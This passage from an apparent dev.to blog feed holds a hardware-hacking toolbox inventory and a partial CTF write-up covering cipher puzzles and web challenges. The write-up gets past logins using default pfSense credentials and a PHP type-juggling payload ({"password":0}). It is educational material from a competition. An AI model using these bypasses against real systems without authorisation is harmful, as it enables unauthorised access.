&lt;p&gt;Of course, I also made the Home Assistant to a Tailscale node, as it makes it easier to share access to other users to it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Finale (Current Setup)
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffewjxwdc9gfqzmm4cyu2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffewjxwdc9gfqzmm4cyu2.png" alt="Network map" width="800" height="554"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At last, the &lt;em&gt;grande finale&lt;/em&gt;. As stated in the beginning, simple things with simple purposes end up being complex if you give to them enough time. I brought the NAS more than 4 years ago now, and it made part of a lot of different setups, being the only piece that still stands the test of time in this big ball of mud. If you are here, maybe you are considering building your own thing, either an homelab or a smart home setup. The only piece of advice that I have for you is to try to keep the mess to a minimum, other that that, just don’t trust it in life or death situations (that’s why my smoke sensors work purely offline).&lt;/p&gt;

&lt;h2&gt;
  
  
  Footnotes
&lt;/h2&gt;

</description>
      <category>homelab</category>
      <category>security</category>
      <category>automation</category>
      <category>smarthome</category>
    </item>
    <item>
      <title>Hardware Hacking and Research Toolbox Inventory</title>
      <dc:creator>JP Dias</dc:creator>
      <pubDate>Sun, 05 May 2024 00:00:00 +0000</pubDate>
      <link>https://dev.to/jpdias/hardware-hacking-and-research-toolbox-inventory-4jbk</link>
      <guid>https://dev.to/jpdias/hardware-hacking-and-research-toolbox-inventory-4jbk</guid>
      <description>&lt;p&gt;Inspired by the blogpost &lt;a href="https://www.davidsopas.com/my-red-team-assessment-hardware-list/" rel="noopener noreferrer"&gt;&lt;em&gt;My Red Team assessment hardware&lt;/em&gt;&lt;/a&gt; by &lt;a href="https://www.davidsopas.com/" rel="noopener noreferrer"&gt;David Sopas&lt;/a&gt; this post describes hardware tools that I have in my inventory, their purpose as well as the features/firmwares/tricks that motivated me to buy them. This is not intended to be an exhaustively detailed list, but I will try to give some rational and use-cases for each of the tools, as well as categorize them.&lt;/p&gt;

&lt;p&gt;Do it yourself projects (partially or completely) will be marked as such with the tag [DIY]. URLs provided are either to the repositories, official websites, technical references, or online sellers. If you find any URL broken please contact me, otherwise you can still find the tools by searching the name of them with any search engine.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;None of the links to online stores are sponsored in any way and should only be used as a reference.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Wi-Fi, Bluetooth and other radios
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;[DIY] &lt;a href="https://github.com/JosephHewitt/wardriver_rev3" rel="noopener noreferrer"&gt;Wardriver.uk by Joseph Hewitt&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;[DIY] &lt;a href="https://github.com/kripthor/io433" rel="noopener noreferrer"&gt;io433 by kripthor&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://openwrt.org/toh/zsun/wifi-card-reader" rel="noopener noreferrer"&gt;Zsun wifi card reader&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.gl-inet.com/products/gl-mt300n-v2/" rel="noopener noreferrer"&gt;GL-MT300N-V2 Mini Smart Router&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;[DIY] &lt;a href="https://greatscottgadgets.com/throwingstar/" rel="noopener noreferrer"&gt;Throwing Star LAN Tap&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.tp-link.com/pt/home-networking/adapter/tl-wn722n/" rel="noopener noreferrer"&gt;TP-Link TL-WN722N V2.0&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aliexpress.com/item/1005005326333537.html" rel="noopener noreferrer"&gt;RTL8812au-based dual-band AC1200 WiFi adapter&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.nooelec.com/store/sdr/sdr-receivers/nesdr-smartee.html" rel="noopener noreferrer"&gt;Nooelec NESDR SMArTee v2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Device inspection (debug tools and programmers)
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.az-delivery.de/en/products/ftdi-adapter-ft232rl" rel="noopener noreferrer"&gt;FT232 USB for TTL Serial Adapter for 3.3V and 5V&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.fischl.de/usbasp/" rel="noopener noreferrer"&gt;USBASP 2.0 based on ATmega8A&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.adafruit.com/product/2548" rel="noopener noreferrer"&gt;Dongle ST-LINK V2 STM8 STM32&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.aliexpress.com/i/3256805645604603.html?gatewayAdapt=4itemAdapt" rel="noopener noreferrer"&gt;YS-IRTM 5V NEC Infrared UART transceiver&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.amazon.com/Advanced-Bluetooth-Scanner-Diagnostic-Android/dp/B09B2RNJH5" rel="noopener noreferrer"&gt;ELM327 V1.5 OBD2 Bluetooth Scanner and Diagnostic Tool&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.amazon.com/KeeYees-SOIC8-EEPROM-CH341A-Programmer/dp/B07SHSL9X9" rel="noopener noreferrer"&gt;CH341A USB Programmer with Adapters&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.amazon.com/Ferwooh-Analyzer-Channel-Colourful-Debugging/dp/B0CYZG4WN4" rel="noopener noreferrer"&gt;USB Logic Analyzer 24MHz 8 Channels&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;[DIY] &lt;a href="https://mitchelectronics.co.uk/resources/logic-probe-kit-instructions/" rel="noopener noreferrer"&gt;Logic probe&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://meters.uni-trend.com/product/ut139-series/" rel="noopener noreferrer"&gt;UNI-T UT139C Multimeter&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Smart cards
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.aliexpress.com/i/2251832622613576.html" rel="noopener noreferrer"&gt;SIM card converter to Smartcard IC&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.aliexpress.com/item/1005006742238113.html" rel="noopener noreferrer"&gt;PN532 NFC RFID IC Card Reader Module 13.56MHz with USB Port&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.amazon.com/Magnetic-Stripe-3-Track-Bi-Directional-Manual-Swipe/dp/B0C6181G3G" rel="noopener noreferrer"&gt;Generic Magstripe Reader&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Generic boards
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://geekworm.com/products/raspberry-pi-zero-w-badusb-usb-a-addon-board-usb-connector-case-kit" rel="noopener noreferrer"&gt;Raspberry Pi Zero W with USB A add-on&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.nordicsemi.com/Products/Development-hardware/nRF52840-Dongle" rel="noopener noreferrer"&gt;nRF52840 Dongle&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://shop.m5stack.com/products/esp32-basic-core-lot-development-kit-v2-7" rel="noopener noreferrer"&gt;M5Stack Core&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.amazon.com/Digispark-Kickstarter-ATTINY85-Arduino-Development/dp/B01MQOPY5C" rel="noopener noreferrer"&gt;DigiSpark Attiny85&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="http://microbit.org/" rel="noopener noreferrer"&gt;Micro:bit&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.wemos.cc/en/latest/d1/index.html" rel="noopener noreferrer"&gt;Wemos D1 mini / ESP8266&lt;/a&gt;, &lt;a href="https://www.raspberrypi.com/products/raspberry-pi-pico/" rel="noopener noreferrer"&gt;Raspberry Pi Pico&lt;/a&gt;, &lt;a href="https://store.arduino.cc/products/arduino-nano" rel="noopener noreferrer"&gt;Arduino Nano&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Screwdrivers, Lockpick and others
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.mi.com/global/support/article/KA-05106" rel="noopener noreferrer"&gt;Mi x Wiha Precision Screwdriver (manual)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.amazon.com/WILLBOND-Multi-Functional-Utilities-Electric-Cupboard/dp/B072LPLKP6" rel="noopener noreferrer"&gt;4-Way Multi-Functional Utilities Key&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.amazon.com/Professional-Security-Padlock-Practice-Stainless/dp/B0CSYFB7LZ" rel="noopener noreferrer"&gt;Generic Lockpick set with Practice locks&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.nytimes.com/wirecutter/reviews/best-multitool/" rel="noopener noreferrer"&gt;Multi-tool&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Random
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://1-life.eu/?product=1life-usbhub-3" rel="noopener noreferrer"&gt;1Life usb:hub 3 with RTL8153 Gigabit Ethernet Adapter&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.kiwi-electronics.com/en/rii-wireless-mini-x1-with-touchpad-2-4ghz-qwerty-2565" rel="noopener noreferrer"&gt;Rii Wireless Mini X1 with Touchpad - 2.4GHz - QWERTY&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;[DIY] &lt;a href="https://www.aliexpress.com/item/1005006235506418.html" rel="noopener noreferrer"&gt;Small IC Test Clips&lt;/a&gt;, &lt;a href="https://www.aliexpress.com/item/1005005832969596.html" rel="noopener noreferrer"&gt;Pogo pin clamps&lt;/a&gt; and &lt;a href="https://www.thingiverse.com/thing:2318886" rel="noopener noreferrer"&gt;PCB Workstation with Needle-Probes&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://joy-it.net/en/products/JT-TC66C" rel="noopener noreferrer"&gt;Generic USB Multimeter&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Large assortment of cables and adapters&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Generic USB LED lamp (useful for low-light situation)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Assortment of USB Pens&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.amazon.com/Anker-Ultra-Compact-High-Speed-VoltageBoost-Technology/dp/B07QXV6N1B/" rel="noopener noreferrer"&gt;Powerbank (at least 10000mAh)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Laptop&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Backpack and bags&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Footnotes
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;em&gt;Wardriving is the act of searching for Wi-Fi wireless networks as well as cell towers, usually from a moving vehicle, using a laptop or smartphone.&lt;/em&gt;, &lt;a href="https://en.wikipedia.org/wiki/Wardriving" rel="noopener noreferrer"&gt;Wikipedia&lt;/a&gt; ↩&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;em&gt;Monitor mode, or RFMON (Radio Frequency MONitor) mode, allows a computer with a wireless network interface controller (WNIC) to monitor all traffic received on a wireless channel. Unlike promiscuous mode, which is also used for packet sniffing, monitor mode allows packets to be captured without having to associate with an access point or ad hoc network first.&lt;/em&gt;, &lt;a href="https://en.wikipedia.org/wiki/Monitor_mode" rel="noopener noreferrer"&gt;Wikipedia&lt;/a&gt; ↩ ↩&lt;sup&gt;2&lt;/sup&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;USB device has an in-built firmware feature that allows itself to be disguised as a human interface device (USB HID), such as a keyboard, and thus inject payloads via keystrokes. ↩ ↩&lt;sup&gt;2&lt;/sup&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>security</category>
      <category>inventory</category>
      <category>hacking</category>
      <category>toolbox</category>
    </item>
    <item>
      <title>OPOSEC XMAS CTF Challenge Christmas 2022 Write-up</title>
      <dc:creator>JP Dias</dc:creator>
      <pubDate>Tue, 11 Apr 2023 00:00:00 +0000</pubDate>
      <link>https://dev.to/jpdias/oposec-xmas-ctf-challenge-christmas-2022-write-up-45kh</link>
      <guid>https://dev.to/jpdias/oposec-xmas-ctf-challenge-christmas-2022-write-up-45kh</guid>
      <description>&lt;p&gt;Well, I guess it is better late than never, so almost four months after the closing of the OPOSEC XMAS CTF Challenge Christmas 2022 this is my write-up on how I did manage to solve all the challenges and finish in the 4&lt;sup&gt;th&lt;/sup&gt; place.&lt;/p&gt;

&lt;p&gt;There was a total of 13 challenges ranging from trivia to network categories.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Trivia (2)&lt;/li&gt;
&lt;li&gt;Crypto (2)&lt;/li&gt;
&lt;li&gt;Web (2)&lt;/li&gt;
&lt;li&gt;Misc (4)&lt;/li&gt;
&lt;li&gt;Network (3)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Trivia
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Who? (100 pts)
&lt;/h3&gt;

&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_GzhnbrF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://jpdias.me/images/xmas22/sir.gif" width="600" height="480"&gt;&lt;/center&gt;

&lt;p&gt;So, for the first challenge we got ourselves a little trivia, with a well-known meme as the challenge content. For those of us that are here for some time the connection of this meme with the infosec community is clear, some years ago (mid-2011) a hacker group raised to fame due to some &lt;em&gt;high profile attacks, including Sony Pictures’ internal database, CIA website and FBI’s contractor InfraGard among others&lt;/em&gt;. This hacker group is &lt;strong&gt;LulzSec&lt;/strong&gt; and their logo was based upon the &lt;em&gt;Feel Like a Sir&lt;/em&gt; meme.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt; : &lt;code&gt;LulzSec&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The Great Hack (200 pts)
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;How about ensuring that you are a guaranteed winner of a radio contest by controlling all the telephone lines? Imagine, what a classy hack that would be. It took place in real world and the hacker won a costliest prize. What was the costliest prize that the hacker won?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So we got ourselves a little riddle. Phreakers, &lt;em&gt;people who specialize in attacks on the telephone system&lt;/em&gt; were mostly popular in the mid-1980s. After some &lt;em&gt;googling&lt;/em&gt; we find several articles describing such attacks and well-known personalities that carried them. One of them is &lt;em&gt;&lt;a href="https://en.wikipedia.org/wiki/Kevin_Poulsen" rel="noopener noreferrer"&gt;Kevin Poulsen (Dark Dante)&lt;/a&gt;&lt;/em&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;On June 1, 1990, Poulsen took over all of the telephone lines for Los Angeles radio station KIIS-FM, guaranteeing that he would be the 102nd caller and win the prize of a Porsche 944 S2.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt; : &lt;code&gt;Porsche 944 S2&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Crypto
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Mmmm… Donuts… (100 pts)
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Donuts are the best breakfast food! There is a donut flavor for everyone’s taste, they pair great with coffee, and they can be eaten on the go! The key to solve this challenge is the most important meal of the day. If one donut doesn’t help, try having another. You better solve it fast before you get diabetes.&lt;/p&gt;

&lt;p&gt;PS: My favorite donut is the original, just glazed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--djy0jSaD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jpdias.me/images/xmas22/Screenshot_1.png" width="800" height="41"&gt;&lt;/center&gt;

&lt;p&gt;So, I spent a tremendous amount of time deciphering this one. After some trial and error, experimenting with every rare encryption system… It becomes more or less clear that we have to go back to the basics. The text suggests a lot around breakfast, and one thing missing is Bacon, so there may be a &lt;a href="https://en.wikipedia.org/wiki/Bacon%27s_cipher" rel="noopener noreferrer"&gt;Baconian cipher&lt;/a&gt; somewhere… Taking a look at the example given on the Wikipedia page, it became clear:&lt;/p&gt;

&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--K2dt8DNN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jpdias.me/images/xmas22/bacon.png" width="800" height="267"&gt;&lt;/center&gt;

&lt;p&gt;So, after converting the original message, we have the following:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;AABABBAAAABABABABABBABBABABAAABAAAAAAAAAAABBAABABAAAABBABAAA&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;And then decoding with the standard Bacon Cipher, we got &lt;code&gt;FRXMOIUAGLDI&lt;/code&gt;. So this is not over yet! Another common cipher in CTF challenges is the &lt;a href="https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher" rel="noopener noreferrer"&gt;Vigenère cipher&lt;/a&gt; that uses a key to decipher. By the text we could bruteforce each one of the nouns in order to break it, or simple use the one in spotlight, &lt;em&gt;breakfast&lt;/em&gt;. Using that as the key, we got ourselves the flag. You can check out the &lt;a href="https://gchq.github.io/CyberChef/#recipe=Bacon_Cipher_Decode('Standard%20(I%3DJ%20and%20U%3DV)','A/B',false)Vigen%C3%A8re_Decode('BREAKFAST')&amp;amp;input=QUFCQUJCQUFBQUJBQkFCQUJBQkJBQkJBQkFCQUFBQkFBQUFBQUFBQUFBQkJBQUJBQkFBQUFCQkFCQUFB" rel="noopener noreferrer"&gt;CyberChef recipe here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt; : &lt;code&gt;EATMEDRINKME&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Lets Share! (200 pts)
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Encoding is the process of converting data from one format into another, typically for the purposes of efficient transmission or storage. There are many different types of encoding schemes that can be used, depending on the specific requirements of the data and the intended use. Encoding is an important aspect of data management and is used in a variety of applications, including networking, data storage, and multimedia.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And we got a text file with the following content:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;JTI2JTIzOTAlM0IlMjYlMjMxMDklM0IlMjYlMjMxMjAlM0IlMjYlMjMxMDQlM0IlMjYlMjM5MCUzQiUyNiUyMzUxJTNCJTI2JTIzMTE2JTNCJTI2JTIzMTA1JTNCJTI2JTIzNzclM0IlMjYlMjM3MSUzQiUyNiUyMzExOSUzQiUyNiUyMzExOSUzQiUyNiUyMzg4JTNCJTI2JTIzNTElM0IlMjYlMjM3MyUzQiUyNiUyMzEyMiUzQiUyNiUyMzc3JTNCJTI2JTIzODYlM0IlMjYlMjM1NyUzQiUyNiUyMzcxJTNCJTI2JTIzODYlM0IlMjYlMjM3MCUzQiUyNiUyMzEwMCUzQiUyNiUyMzU3JTNC&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So this must be just random encoding on top of random encoding. Let’s go to CyberChef once more, and do: (1) from base64, (2) URL decode, (3) from HTML entity, and lastly (4) from base64.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt; : &lt;code&gt;flag{b0l0_r31_FTW}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Web
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Folt (100 pts)
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;pfSense is a free and open-source firewall and router software distribution based on the FreeBSD operating system. It is designed to provide a flexible and powerful platform for building and managing network infrastructure, and it includes a wide range of features and capabilities that are suitable for use in both small and large networks.&lt;/p&gt;

&lt;p&gt;Have a try &lt;a href="http://machine.example.com/" rel="noopener noreferrer"&gt;http://machine.example.com/&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--nrSIkbRb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jpdias.me/images/xmas22/pfsense.png" width="800" height="230"&gt;&lt;/center&gt;

&lt;p&gt;So we got ourselves a default pfSense landing page. First things first, let’s try default credentials, which are &lt;code&gt;admin&lt;/code&gt; and &lt;code&gt;pfsense&lt;/code&gt;. Trying those we got ourselves the quickest flag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt; : &lt;code&gt;flag{Default?_More_Like_Badfault}&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  In Passwords, We Trust, and in PHP, We Believe! (200 pts)
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Great, another &lt;a href="https://santa.example.com/" rel="noopener noreferrer"&gt;admin&lt;/a&gt; panel, do you think you can crack it?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And we got ourselves a little PHP:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;php
  $user = $_POST["username"];
  $input = $_POST["password"];
  $answer = json_decode($input);

  //Random 16 chr token
  $token = base64_encode(bin2hex(random_bytes(16)));

  $password = $answer-&amp;gt;password;

  if(($password == $token) and $user == "admin") {
      //Super Flag!
  } elseif(empty($user) &amp;amp;&amp;amp; empty($password)) {
      echo "&amp;lt;h2&amp;gt;Login&amp;lt;/h2&amp;gt;";
  } elseif(empty($password)) {
    echo "&amp;lt;h2&amp;gt;Error Encountered! Wrong Token!&amp;lt;br&amp;gt;&amp;lt;/h2&amp;gt;";
    echo "&amp;lt;script&amp;gt;console.log(\"Your token was: $token\")&amp;lt;/script&amp;gt;";
  } 
?&amp;gt;  

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the page generates a cookie-based token similar to this one:&lt;code&gt;NTUwMGIxMDdmMDMzMTYwYzZjZTEwMmMwOTU5NzVjOGI=&lt;/code&gt; that gives nothing useful when base64 decoded.&lt;/p&gt;

&lt;p&gt;So let’s look into the source &lt;em&gt;!&lt;/em&gt; We can see that there is a loose comparison &lt;code&gt;$password == $token&lt;/code&gt; which means that we are most probably looking at a &lt;code&gt;Type Juggling&lt;/code&gt; vulnerability, i.e., &lt;em&gt;During the comparison of variables of different types, PHP will first convert them to a common, comparable type.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;However, the most strange thing is that you cannot simply pass a string to the password field, but instead a valid JSON with a &lt;code&gt;password&lt;/code&gt; key, &lt;code&gt;$password = $answer-&amp;gt;password;&lt;/code&gt;. But why? This was very random indeed.&lt;/p&gt;

&lt;p&gt;Nonetheless, after finding out the issue, we could pass the string &lt;code&gt;{"password":0}&lt;/code&gt; as the password in the login form, and when the comparison with the &lt;code&gt;$token&lt;/code&gt; happens, it will be true given that &lt;code&gt;(0 == “STRING”) -&amp;gt; True (+)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt; : &lt;code&gt;flag{OnceAgainTypeJuggling}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Misc
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Black Hole (100 pts)
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;An &lt;strong&gt;exception&lt;/strong&gt; is an abnormal event or error that occurs during the execution of a program. Exceptions are typically used to handle unexpected or exceptional conditions, such as runtime errors or input-output errors. When an exception occurs, it is typically represented as an object that is thrown, and it can be caught and handled by the program using a try-catch block.&lt;/p&gt;

&lt;p&gt;Attachment: l33t.rar&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So now we have a RAR file, and some ramblings about exceptions. As expected, the RAR is password protected. Looking at the strings that we have:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ strings l33t.rar 
Rar!
CMTPython 3.7.3
&amp;gt;&amp;gt;&amp;gt; 
Traceback (most recent call last):
  File "&amp;lt;pyshell#4&amp;gt;", line 1, in &amp;lt;module&amp;gt;

ZeroDivisionError: 
 &amp;lt;- Password 
flag.txt0
90|ua

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So we have a random Python snippet somewhere in the file with a mention to &lt;code&gt;&amp;lt;- Password&lt;/code&gt;, &lt;em&gt;wut?&lt;/em&gt; … We also have a &lt;code&gt;ZeroDivisionError&lt;/code&gt;, so maybe that’s why the ramblings about exceptions &lt;em&gt;!&lt;/em&gt; Let’s recreate the exception in python:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Python 3.10.6 (main, Mar 10 2023, 10:55:28) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
&amp;gt;&amp;gt;&amp;gt; 1/0
Traceback (most recent call last):
  File "&amp;lt;stdin&amp;gt;", line 1, in &amp;lt;module&amp;gt;
ZeroDivisionError: division by zero

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using the &lt;code&gt;division by zero&lt;/code&gt; message as the password for the RAR file, we got ourselves a txt file with the flag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt; : &lt;code&gt;flag{l0vef@rf4t0h}&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  A Programming Language (200 pts)
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;flag←48 55 45 52 73 53 0 67 63 4 59 5 73 24 69 9 62 15 64 76 43 16 78 73 18 96 ⊢WTF←⎕UCS{⍵-¨10-⍨⍳≢⍵}+flag+2⊥¯3⌽1 0 1 1 0 1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;So we got ourselves a little APL dark magic. I smelled this from afar due to its usage in (&lt;em&gt;CodeGolf&lt;/em&gt;)[&lt;a href="https://en.wikipedia.org/wiki/Code%5C_golf" rel="noopener noreferrer"&gt;https://en.wikipedia.org/wiki/Code\_golf&lt;/a&gt;]. The code was missing a newline, but apart from that it was just copy and paste in an online interpreter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TryAPL Version 3.6.1 (enter ]State for details)
Tue Apr 11 2023 17:41:13
Copyright (c) Dyalog Limited 1982-2023
      flag←48 55 45 52 73 53 0 67 63 4 59 5 73 24 69 9 62 15 64 76 43 16 78 73 18 96 
      ⊢WTF←⎕UCS{⍵-¨10-⍨⍳≢⍵}+flag+2⊥¯3⌽1 0 1 1 0 1
flag{f0rm1g0sAm0d4doM1nh0}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt; : &lt;code&gt;flag{f0rm1g0sAm0d4doM1nh0}&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Find The Typo (300 pts)
&lt;/h3&gt;

